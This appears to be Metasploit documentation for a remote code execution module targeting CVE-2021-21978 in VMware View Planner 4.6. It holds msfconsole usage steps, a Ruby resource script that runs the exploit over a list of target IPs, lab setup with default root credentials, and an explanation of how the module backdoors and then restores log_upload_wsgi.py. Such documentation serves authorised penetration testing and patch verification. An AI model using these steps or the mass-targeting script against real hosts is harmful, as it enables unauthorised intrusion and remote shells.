List of CVEs: CVE-2021-21978
This module exploits an unauthenticated log file upload within the log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6 Security Patch 1. Successful exploitation will result in RCE as the apache user inside the appacheServer Docker container.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using vmware_view_planner_4_6_uploadlog_rce against a single host
Normally, you can use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce this way:
msf > use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
msf exploit(vmware_view_planner_4_6_uploadlog_rce) > show targets
... a list of targets ...
msf exploit(vmware_view_planner_4_6_uploadlog_rce) > set TARGET target-id
msf exploit(vmware_view_planner_4_6_uploadlog_rce) > show options
... show and set options ...
msf exploit(vmware_view_planner_4_6_uploadlog_rce) > exploit
Using vmware_view_planner_4_6_uploadlog_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vmware_view_planner_4_6_uploadlog_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
VMWare View Planner 4.6 prior to 4.6 Security Patch 1 contained an log file upload script,
named log_upload_wsgi.py, which was mapped on to the web page /logupload and available
to unauthenticated users. Furthermore, unauthenticated users could browse the source code of
this file by navigating to /wsgi_log_upload/log_upload_wsgi.py, giving them an easy way to
ensure that they restored the original contents of the log_upload_wsgi.py file.
The module takes advantage of these two properties to first obtain the contents of the
log_upload_wsgi.py file and then overwrite it with a backdoored copy. Once a request has been
sent to /logupload to trigger the payload, the original copy of log_upload_wsgi.py is then
restored to ensure the target can continue its normal operations. Successful exploitation results
in RCE as the apache user within the appacheServer Docker container.
Setup Steps
- Sign up for an account at https://my.vmware.com/web/vmware/registration
- Browse to https://my.vmware.com/web/vmware/downloads/details?downloadGroup=VIEW-PLAN-460&productId=1067&rPId=53394 and download the OVA file for View Planner Harness.
- Verify the name of the downloaded OVA is viewplanner-harness-4.6.0.0-16995088_OVF10.ova and its hash is 4639f1916ffd30095cf5af383f38f7de
- Install the VM and boot it up. When you get to the main screen, which will take several minutes, select Login with the arrow keys and log in with the username
rootand passwordchangeme. - Run
~/viewplanner/setup/harness_first_boot.shto start the server. - Verify that the web server is accessible over port 80 or 443 and that the page at
/loguploadis accessible.
Verification Steps
- Install the server
- Start msfconsole
- Do:
use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce - Do:
set rhosts [Target IP] - Do:
set lhost [Local IP] - Do:
exploit - You should get a shell as the
apacheuser on the target machine. - You should also see that the original copy of
log_upload_wsgi.pyis restored after you get a shell.
